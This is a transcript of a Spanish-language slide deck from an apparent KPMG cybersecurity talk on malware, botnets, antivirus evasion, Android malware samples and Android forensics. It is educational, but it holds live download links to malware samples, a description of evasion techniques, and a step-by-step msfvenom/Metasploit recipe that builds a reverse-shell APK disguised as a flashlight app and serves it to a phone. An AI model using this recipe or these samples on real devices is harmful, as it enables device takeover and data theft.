FEEL FREE - CriptoRed

Transcripción

FEEL FREE - CriptoRed
FEEL
FREE
A NEW APPROACH
TO CYBER SECURITY
0
Big4
Fundada en 1917
Más de 174.000 empleados
Servicios de auditoría, fiscales y de asesoramiento legal,
financiero y de negocio
1
2
CUTTING THROUGH
SECURITY
COMPLEXITY
La aproximación a los servicios de seguridad se ha diseñado para ser simple y
efectiva –alineada a las necesidades de nuestros clientes resolviendo sus servicios
de seguridad, siguiendo el modelo de Buscar / Resolver / Operar.
Ayudando a los clientes
a detectar y responder
los Ciber incidentes,
entendiendo las
amenazas a su negocio,
sus vulnerabilidades y
riesgos.
Ayudando a los clientes
a construir y mejorar su
Ciberseguridad,
soportada por las
personas, organización
y tecnologías
adecuadas.
Ayudando a los clientes
a permanecer seguros
en todo su negocio y
evolucionando y
madurando sus
programas tecnológicos.
3
4
• Proviene del inglés, malicious software
• Su objetivo (principal) es dañar un equipo informático o
infiltrarse para recuperar información del mismo, sin el
consentimiento de su propietario.
• La ausencia de dicho consentimiento no determina de
forma inherente que su objetivo sea malicioso
• MDM, control parental, troyano policial, …
5









publicidad en equipos infectados
puerta trasera
backdoor+spyware (espionaje)
deniega un sistema replicando procesos
red zombie
específico para delitos financieros
cifra sistema y pide rescate (ransom)
acceden a sitios con contenido de pago
bromas
6









capturas de pulsaciones de ratón y teclado
malware descargado de páginas porno
diseñado para robo de correos y credenciales
se ocultan en procesos
suplantar Hosts y redirigir a páginas premium
suplantación de identidad en web/email
acceden a sitios porno de pago
software con vulnerabilidades conocidas
simula malware falso
7
oculta información en un sistema

similar rogue, causar pánico para cobrar


correo basura
robo de información

control remoto sobre sistema


altera el funcionamiento de un sistema. Infectan normalmente
archivos

altera un sistema para dañarlo. Reside memoria
8
 Comienzo en los
 Crecimiento lento en los 70-80
 En los
el problema a explotado a nivel
mundial gracias al crecimiento exponencial de las líneas
de Internet.
9
 En 1960 el DEC PDP-1 creó el “cinescopio”, el primer monitor para un ordenador.
 Este invento inspiró a los primeros “hackers”,
, de los laboratorios Bell, a programar el primer
videojuego “
”, al que denominaron “Darwin”.
 Consistía en
enemigo (como si de un gusano se tratase).
compartida para destruir al
10
•Darwin
•Creeper
•Rabbit
•Animal-Pervade
•Worm
•Elk cloner
•Viernes 13
•Jerusalén
•Dark Avenger
•VCL
•Phalcon/Skism
Mass-Produced
Code Generator
•Michelangelo
•Concept
•Lady Di
•Laroux
•AccessiV
•Melissa
•Happy99
•IWorm.ExploreZi
p
•VBSWG
•ILOVEYOU
•Pirus
•Ramen
•Lion
•BadTrans
•CodeRed
•Spida
•Benjamin
•Slammer
•Blaster
•Agobot
•Mydoom
•Brador
•Stardust
•Staroffice
•Leap
•Conficker
•Stuxnet
•Zeus
•Duqu
•Flame/
Skywiper
•Sirefef/
ZeroAccess
•Reveton
•Dorkbot
•RedOctober
•Cryptolocker
•Torrentlocker
•CBLocker
•Careto/ Mask
•CryptoJoker
11
12
¿Qué es?

Conjunto de equipos conectados a una red como Internet, que
interactúan entre sí para ejecutar tareas de manera distribuida

Controlados desde uno o varios paneles de control que
coordinan las acciones que deben realizar.

Realización de ataques de denegación de servicio, robo de
información de los usuarios con fines delictivos.

Sin embargo también son muchos los usos legítimos con los que
cuentan las botnets (Boinc, Seti@Home, Distribuited.net, etc.).
13
Dame
instrucciones
Componentes
 Bot
 Botmaster
 Zombie
 Panel de control
Toma
instrucciones
14
Más grandes de la historia
 Bredolab: 30 millones de equipos infectados
 Mariposa: 12,7 millones de infectados.
 Conficker: 10,5 millones de equipos infectados
 TDL4: 4,5 millones de equipos infectados
 Zeus: 3,6 millones de equipos infectados.
15
Tipos
16
Fases
1. Selección de objetivos
2. Proceso de infección
3. Propagación de la botnet
17
Técnicas de evasión principales
1. Modificación de instrucciones
2. Ofuscación y cifrado
3. Oligorfismo, polimorfismo y metamorfismo
4. Distribución y cifrado de cadenas
5. Inyección dinámica de instrucciones
6. Etc.
18
Modificación de instrucciones
 Modificación directa de instrucciones sobre el código
fuente del malware
 Puede que no tengamos el código fuente
 Sin código fuente, habría que hacer ingeniería inversa
(mucho trabajo)
19
Ofuscación y cifrado
 Ocultar el flujo de control y las estructuras de datos que
contienen información detectable del malware
 Objetivo de los crypters: http://www.crypters.org
 Son validos durante unos días, porque las empresas antivirus
analizan de forma habitual los foros de malware, con el fin de
descargarse los nuevos ejemplares y así poder agregar las
nuevas firmas a sus motores antivirus.
20
Oligorfismo, polimorfismo y metamorfismo

: cuentan con sistemas de cifrado/descifrado para
mejorar su ocultación (sin usar crypters).

: evolución en la que añaden la capacidad de generar de
forma ilimitada nuevos cifradores y descifradores.

, es capaz de mutar su propio código entero, añadiendo
instrucciones de tipo “jump” o salto, como si de un crypter se tratase.
21
Distribución y cifrado de cadenas
 Las casas de antivirus, suelen buscar en los malware ciertas
cadenas que son muy significativas
 Es habitual que las firmas de detección se apliquen sobre estos
strings
 Se basa en codificar y cifrar todas las cadenas de texto, y de ser
posible, sean divididas en trozos y unidas por el malware una vez
se encuentre en funcionamiento.
22
Inyección dinámica de instrucciones
 El malware no aloja en su código las instrucciones más delicadas
 Las instrucciones son almacenadas en otros archivos alojados en
el equipo o incluso en Internet, y en tiempo de ejecución son
accedidos y cargados en memoria
 Ejemplo: función GetProcAddress() de C, obtener la dirección de
memoria donde se encuentran cargadas las funciones del código
malicioso y ejecutarlo.
23
¿Malo? ¿Bueno? Mejor llamarlo Legal vs Ilegal
1. Delincuencia
2. MDM
3. Control parental
4. Troyano policial
5. Hobby y aprendizaje
6. Etc.
24
Ley Orgánica 13/2015, de 5 de octubre de 2015, de modificación de la Ley de
Enjuiciamiento Criminal para el fortalecimiento de las garantías procesales y la
regulación de las medidas de investigación tecnológicas
<<CAPÍTULO IX
Registros remotos sobre equipos informáticos
Articulo 588 septies a. Presupuestos.
1. El juez competente podrá autorizar la utilización de datos de identificación y códigos,
así como la instalación de un software, que permitan, de forma remota y telemática, el
examen a distancia y sin conocimiento de su titular o usuario del contenido de un
ordenador, dispositivo electrónico, sistema informático, instrumento de almacenamiento
masivo de datos informáticos o base de datos, siempre que persiga la investigación de
alguno de los siguientes delitos:
a) Delitos cometidos en el seno de organizaciones criminales.
b) Delitos de terrorismo.
c) Delitos cometidos contra menores o personas con capacidad modificada judicialmente.
d) Delitos contra la Constitución, de traición y relativos a la defensa nacional.
e) Delitos cometidos a través de instrumentos informáticos o de cualquier otra tecnología
de la información o la telecomunicación o servicio de comunicación.
25
2. La resolución judicial que autorice el registro deberá especificar:
a) Los ordenadores, dispositivos electrónicos, sistemas informáticos o parte de los mismos,
medios informáticos de almacenamiento de datos o bases de datos, datos u otros contenidos
digitales objeto de la medida.
b) El alcance de la misma, la forma en la que se procederá al acceso y aprehensión de los
datos o archivos informáticos relevantes para la causa y el software mediante el que se
ejecutará el control de la información.
c) Los agentes autorizados para la ejecución de la medida.
d) La autorización, en su caso, para la realización y conservación de copias de los datos
informáticos.
e) Las medidas precisas para la preservación de la integridad de los datos almacenados, así
como para la inaccesibilidad o supresión de dichos datos del sistema informático al que se ha
tenido acceso.
3. Cuando los agentes que lleven a cabo el registro remoto tengan razones para creer que
los datos buscados están almacenados en otro sistema informático o en una parte del
mismo, pondrán este hecho en conocimiento del juez, quien podrá autorizar una
ampliación de los términos del registro. >>
26
 XNSpy
 Droidjack (Sandrorat)
27
28
29
30
31
 Flappy Birds
 NotCompatible
 Android Locker Qqmagic
 Android Proxy Trojan Xoryp
32

Objetivo: enviar y recibir mensajes de texto con el fin de acumular
cargos por mensajería a números de tarificación adicional.

Muestra:
http://mfile.me/upload/bookmark/2014/0208/choingaygame/1391
825505/flappy-bird.apk

Código SMS:
Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
called from Lcom/hdc/ultilities/SendSMS$1;->run()V
Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;
Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent;
Landroid/app/PendingIntent;)V called from Lcom/hdc/ultilities/SendSMS$1;>run()V
33













send SMS messages
android.permission.READ_EXTERNAL_STORAGE (read from external storage)
android.permission.RECEIVE_BOOT_COMPLETED (automatically start at boot)
android.permission.READ_PHONE_STATE (read phone state and identity)
android.permission.SYSTEM_ALERT_WINDOW (display system-level alerts)
android.permission.ACCESS_WIFI_STATE (view Wi-Fi status)
android.permission.WAKE_LOCK (prevent phone from sleeping)
android.permission.GET_TASKS (retrieve running applications)
android.permission.VIBRATE (control vibrator)
android.permission.ACCESS_NETWORK_STATE (view network status)
android.permission.INTERNET (full Internet access)
android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents)
receive SMS)
¿¿PARA QUE QUIERE UN VIDEOJUEGO ENVIAR SMS??
34
 Troyano clásico de tipo actualización: no solicita los permisos en
la primera instalación, sino en una actualización.
 Los datos de conexión se encuentran en data.bin dentro del directorio
“/data/data/com.Security.Update/files/“, y su contenido se
encuentra cifrado, con AES-ECB y una clave prefijada en la variable
passkey “ZTY4MGE5YQo”.
 Nombre: com.security.update
 Muestra:
http://www.mediafire.com/download/sjra9tzd14babma/Notcompati
bleC_FEACE958B47C2249C6AB8DDF804CDCB6_com.security.pat
ch.zip
35
 RECEIVE_BOOT_COMPLETED
(automatically start at boot)
 INTERNET (full Internet access)
 ACCESS_NETWORK_STATE (view
network status)
36
 Tipo: ransomware clásico.
Cifra y pide rescate
 Muestra:
http://www.mediafire.com/do
wnload/1v8c3t94xw5j81b/An
droid-Locker-qqmagic735B4E78B334F6B9EB19E70
0A4C30966.zip
37
 android.permission.SEND_SMS (send SMS messages)
 android.permission.RECEIVE_BOOT_COMPLETED (automatically
start at boot)
 android.permission.SYSTEM_ALERT_WINDOW (display systemlevel alerts)
 android.permission.ACCESS_NETWORK_STATE (view network
status)
 android.permission.RECEIVE_SMS (receive SMS)
 android.permission.INTERNET (full Internet access)
38
 Detección: 9 de abril de 2013
 Troyano clásico: mensajes, registro de llamadas, historial
de navegación, ubicación GPS, SMS, Wi-Fi/3G, IMEI,
cuentas del usuario, etc.
 Nombre: com.studio.proxy.apk
 Muestra:
http://www.mediafire.com/download/n26zjz8rb7p2z4l/co
m.studio.proxy_D05D3F579295CD5018318072ADF3B83
D-samp.zip
39














android.permission.CHANGE_NETWORK_STATE (change network connectivity)
android.permission.SEND_SMS (send SMS messages)
android.permission.DISABLE_KEYGUARD (disable key lock)
android.permission.READ_PHONE_STATE (read phone state and identity)
android.permission.ACCESS_WIFI_STATE (view Wi-Fi status)
android.permission.ACCESS_COARSE_LOCATION (coarse (network-based) location)
android.permission.WAKE_LOCK (prevent phone from sleeping)
android.permission.RECEIVE_SMS (receive SMS)
android.permission.INTERNET (full Internet access)
android.permission.ACCESS_NETWORK_STATE (view network status)
android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents)
android.permission.READ_CONTACTS (read contact data)
android.permission.GET_ACCOUNTS (discover known accounts)
android.permission.READ_SMS (read SMS or MMS)
40
41
1.
msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.1.50
LPORT=4444 R > /root/linterna.apk
2.
3.
4.
5.
6.
7.
8.
9.
service apache2 start
cp /root/linterna.apk /var/www/html
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit
10. Abrir http://192.168.1.50/linterna.apk en el smartphone
42
43
44
45
46
¿Qué ha ocurrido?
¿cómo? ¿por qué?
¿dónde?
¿cuándo?
47
•
•
•
•
•
48
Super One
Click
FTK
Imager
WForensic
DD
ADB
49
• Preservar las evidencias
• Obtener información del dispositivo
•
•
•
•
• Adquirir información de la tarjeta SIM
• Informe
50
51
•
• Marca, modelo y proveedor de servicio
• http://www.phonescoop.com/phones/finder.p
hp
•
• Interfaz de dispositivo
• Etiquetas
• Series
• Hora del móvil
• Software de sincronización
52
•
•
•
•
53
54
55
1.
2.
3.
4.
Instalar el SDK de Android en un PC
Conectar el móvil al PC mediante ADB
Rootear (al menos temporalmente) el móvil con Android
Clonar mediante dd las particiones del móvil
1. Adquirir un producto de análisis forense automático
56
57
58
59
60
61
62
7.- Conectar el móvil y comprobar instalación
8.- Reiniciar
9.- Conectar móvil con modo depuración USB activado
63
•
•
•
•
64
•
•
Muestra si el móvil está conectado
•
Por si ha habido algún problema
•
•
•
Instala/desinstala aplicaciones en el terminal
Arranca una shell dentro del terminal
Intercambia archivos
65
$
66
•
•
•
•
: Uso de software como SuperOneClick o ExynosAbuse
: Root a través de recovery
•
67
ANDROID 2.X
•
•
•
•
68
ANDROID 2.X
69
ANDROID 4.X
1.
Formatear una tarjeta micro sd a FAT32
2.
Desplegar en la tarjeta el firmware modificado uberoid 1.0
(http://ul.to/fd3flqnp) o 2.0 (http://ul.to/s8a7j1zr)
3.
Introducir la tarjeta en el terminal apagado y encender (tened en
cuenta que no sabremos el PIN)
4.
Ya eres root
70
ANDROID 4.X
1. Permitir la instalación de apps de fuera de Play
Store.
2. Ir a https://towelroot.com/ y descargar la aplicación
3. Ejecutar y “make it ra1n”
4. Esperar y tras el reinicio el terminal está rooteado.
No funciona en terminales HTC y Motorola.
71
#
72
• A través de DD
– dd if=/dev/mtd/mtd1ro of=/sdcard/mtd1ro.dd bs=4096
73
YAFFS
Caso de los antiguos sistemas Android
• Memory Technology Device (MTD): Subsistema Linux utilizado en medios flash
como en móviles.
• IDE (/dev/hd* = hard drive)
• SCSI o SATA (/dev/sd*)
• MTD (/dev/mtd*)
• Podemos obtener más información de los dispositivos inspeccionando /dev y
/proc
74
YAFFS
75
EXT
Correspondencia de particiones y puntos de montaje:
Particiones:
76
77
78
79
• En las tarjetas SD no se almacena la información del sistema
• Se almacenan datos de usuario como archivos grandes, multimedia, fotos,
vídeos, etc.
• El proceso de extracción es bastante sencillo y se centra en el uso de
ciertas herramientas.
80
1. Extraeremos la tarjeta SD/MicroSD/MiniSD del terminal
2. La insertaremos en un lector de tarjetas, mapeándola como solo lectura
para no dañar la evidencia
3. La clonaremos con dd u otra herramienta y calcularemos el hash
4. Analizaremos el clon de la tarjeta con herramientas como Autopsy o FTK
Imager
81
82
•
•
•
83
84
85
• Si descomprimimos el fichero .apk y abrimos el
fichero AndroidManifest.xml, no veremos nada
porque está codificado.
• Pasos a seguir:
1. Descargar la herramienta apktool
2. Copiar el archivo .apk en la carpeta raíz
3. Introducir el comando:
 apktool d NombreApp.apk ./RutaSalida
 Ej. apktool.bat d facebook.apk fbook
86
 Extraer el código fuente de la aplicación a partir del fichero .apk
 En el proceso de empaquetado:
 Para el proceso de reversing
87
 PASO 1:
 Procedimiento:
 Copiar el fichero .apk en la raíz de dex2jar
 Abrir un cmd y situarse en la ruta anterior
 Ejecutar el comando dex2jar nombreAplicacion.apk
88
 PASO 2:
 Procedimiento:
 Instalar JD-Gui y abrir el fichero .jar obtenido en el paso anterior
 Guardar todas los ficheros de código fuente en la ruta deseada
89
 Identifica aplicaciones inseguras o maliciosas.
 Búsqueda estratégica de fragmentos de código.
 Especial hincapié en aspectos potencialmente inseguros:
 Preferencias de las aplicaciones
 Almacenamiento en la SDCard
 Logs
getSharedPreferences()
MODE_PRIVATE
MODE_WORLD_READABLE
MODE_WORD_WRITEABLE
addPreferencesFormResource
getExternalStorageDirectory()
sdcard
Log
90
 Sentencias JavaScript
 SQLite
addJavascriptInterface()
setJavaScriptEnabled(true)
db
sqlite
database
insert
delete
select
table
cursor
rawQueryin
91
 Notificaciones Toast
 Debuggable
 Identificadores
Toast.makeText
android:debuggable
uid,
user-id,
imei,
deviceId,
deviceSerialNumber,
devicePrint,
X-DSN,
phone,
mdn,
did,
IMSI,
uuid
92
Lo que el usuario ve
 Tapjacking
 Hashes
 Conexiones
filterTouchesWhenObscured="true"
MD5
BASE64
des
http
https
HttpURLConnection
URLConnection
URL
TrustAllSSLSocket-Factory
AllTrustSSLSocketFactory
NonValidatingSSLSocketFactory
Lo que realmente esta pasando
93
Aplicación 1
 Intent Injection
Action.getIntent()
intent
Activity 1
Activity 2
Activity 3
intent
 Localizacion GPS
getLastKnownLocation()
requestLocationUpdates()
getLatitude()
getLongitude()
LOCATION
intent
Aplicación 2
Activity 1
Activity 2
Activity 3
94
pero con saber
interpretar código java podréis hacer un trabajo importante
(mucho más sencillo que ASM)
95
96
proyectos nacionales e internacionales
•
recibirás formación especializada
•
•
• Hacking ético (rompiendo y solucionando)
• Cumplimiento normativo (LOPD, ISO27001, …)
• Vigilancia digital (I+D, análisis e inteligencia)
•
• Senior
• Junior
• Becas
•
97
Contáctanos:
Partner – IT Advisory
Director – Cyber Security
Senior Manager - Cyber Security
FIjo: 91 456 38 31
Email: [email protected]
Fijo: 91 456 59 04
Móvil: 666 48 26 51
Email: [email protected]
Móvil: 608 91 95 03
Twitter: @jantonioCalles
Email: [email protected]
www.kpmg.es | www.kpmgciberseguridad.es
© 2015 KPMG Asesores S.L., sociedad española de responsabilidad limitada y firma miembro de la red
KPMG de firmas independientes afiliadas a KPMG International Cooperative (“KPMG International”),
sociedad suiza. Todos los derechos reservados.
KPMG, el logotipo de KPMG y “cutting through complexity” son marcas registradas o comerciales de
KPMG International.
Esta propuesta de servicios ha sido realizada por KPMG Asesores, S.L. sociedad española de
responsabilidad limitada y miembro de la red de firmas independientes afiliadas a KPMG International,
sociedad suiza, y está sujeta, a todos los efectos, a la negociación, acuerdo y firma de una carta de
encargo o contrato específico. KPMG International no presta servicios a clientes.
Ninguna filial o
firma miembro tiene autoridad para obligar o vincular a KPMG International o a otra firma miembro con
respecto a terceros ni KPMG International tiene autoridad para obligar o vincular a ninguna firma
miembro.

Documentos relacionados